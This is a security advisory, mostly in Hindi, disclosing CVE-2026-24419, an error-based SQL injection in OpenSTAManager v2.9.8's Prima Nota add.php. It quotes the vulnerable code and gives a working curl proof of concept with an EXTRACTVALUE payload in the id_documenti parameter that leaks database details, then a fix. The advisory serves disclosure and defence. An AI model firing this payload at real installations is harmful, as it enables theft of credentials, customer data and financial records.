
CVE-2026-24419 - OpenSTAManager has a SQL Injection in the Prima Nota module
| फ़ील्ड | विवरण |
|---|---|
| CVE ID | CVE-2026-24419 |
| गंभीरता | उच्च |
| अनुशंसा | अनुशंसा देखें |
| द्वारा खोजा गया | Lukasz Rybak |
OpenSTAManager v2.9.8 के Prima Nota (जर्नल एंट्री) मॉड्यूल में क्रिटिकल एरर-आधारित SQL इंजेक्शन भेद्यता, प्रमाणित हमलावरों को URL पैरामीटर में दुर्भावनापूर्ण SQL इंजेक्ट करके XML त्रुटि संदेशों के माध्यम से उपयोगकर्ता क्रेडेंशियल्स, ग्राहक PII और वित्तीय रिकॉर्ड सहित पूर्ण डेटाबेस सामग्री निकालने की अनुमति देती है।
स्थिति: ✅ लाइव इंस्टेंस (v2.9.8) पर पुष्टि की गई और परीक्षण किया गया
कमजोर पैरामीटर: id_documenti (GET पैरामीटर)
प्रभावित एंडपॉइंट: /modules/primanota/add.php
हमले का प्रकार: एरर-आधारित SQL इंजेक्शन (IN क्लॉज)
OpenSTAManager v2.9.8 में Prima Nota (जर्नल एंट्री) मॉड्यूल की add.php फ़ाइल में एक क्रिटिकल एरर-आधारित SQL इंजेक्शन भेद्यता है। एप्लिकेशन यह सत्यापित करने में विफल रहता है कि GET पैरामीटर से अल्पविराम-पृथक मान SQL IN() क्लॉज में उपयोग करने से पहले पूर्णांक हैं, जिससे हमलावर मनमाने SQL कमांड इंजेक्ट कर सकते हैं और XPATH त्रुटि संदेशों के माध्यम से संवेदनशील डेटा निकाल सकते हैं।
भेद्यता श्रृंखला:
प्रवेश बिंदु: /modules/primanota/add.php (पंक्तियाँ 63-67)
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
प्रभाव: get() फ़ंक्शन उपयोगकर्ता-नियंत्रित URL पैरामीटर पुनर्प्राप्त करता है, explode(',', (string) ...) उन्हें अल्पविराम से विभाजित करता है, लेकिन कोई सत्यापन यह सुनिश्चित नहीं करता कि तत्व पूर्णांक हैं।
SQL इंजेक्शन बिंदु: /modules/primanota/add.php (पंक्ति 306)
$id_anagrafica = $dbo->fetchOne('SELECT idanagrafica FROM co_documenti WHERE id IN('.($id_documenti ? implode(',', $id_documenti) : 0).')')['idanagrafica'];
प्रभाव: $id_documenti से सरणी तत्वों को प्रकार सत्यापन या prepare() के बिना सीधे implode() का उपयोग करके जोड़ा जाता है, जिससे पूर्ण SQL इंजेक्शन सक्षम होता है।
मूल कारण विश्लेषण:
भेद्यता इसलिए मौजूद है क्योंकि:
get('id_documenti') उपयोगकर्ता-नियंत्रित स्ट्रिंग लौटाता हैexplode(',', (string) $value) अल्पविराम से विभाजित करता है लेकिन प्रकार सत्यापित नहीं करताimplode(',', $array) सरणी तत्वों को सीधे SQL में जोड़ता है?id_documenti=1) AND EXTRACTVALUE(...) %23प्रभावित कोड पथ:
GET /modules/primanota/add.php?id_documenti=MALICIOUS_PAYLOAD
↓
add.php:63 - $id_documenti = get('id_documenti')
↓
add.php:64 - $id_documenti = explode(',', (string) $id_documenti) [कोई प्रकार सत्यापन नहीं]
↓
add.php:306 - WHERE id IN('.implode(',', $id_documenti).') [इंजेक्शन बिंदु]
चरण 1: लॉगिन
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
चरण 2: भेद्यता सत्यापित करें (एरर-आधारित SQL इंजेक्शन)
परीक्षण 1: डेटाबेस उपयोगकर्ता और संस्करण निकालें
curl -b /tmp/cookies.txt "http://localhost:8081/modules/primanota/add.php?id_documenti=1)%20AND%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20CONCAT(USER(),'%20|%20',VERSION()))))%23"
प्रतिक्रिया (हमलावर को दिखाई देने वाला त्रुटि संदेश):
<code>SQLSTATE[HY000]: General error: 1105 XPATH syntax error: '[email protected] | 8.3.0'</code>
Prima Nota (जर्नल एंट्री) मॉड्यूल तक पहुंच वाले सभी प्रमाणित उपयोगकर्ता।
प्राथमिक सुधार - प्रकार सत्यापन:
फ़ाइल: /modules/primanota/add.php
पहले (कमजोर - पंक्तियाँ 63-67):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
बाद में (सुधारित):
$id_documenti = $id_documenti ?: get('id_documenti');
$id_documenti = $id_documenti ? explode(',', (string) $id_documenti) : [];
// Validate that all array elements are integers
$id_documenti = array_map('intval', $id_documenti);
$id_documenti = array_filter($id_documenti, fn($id) => $id > 0); // Remove zero/negative IDs
Łukasz Rybak द्वारा खोजा गया
इस CVE को समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहां प्रदान की गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।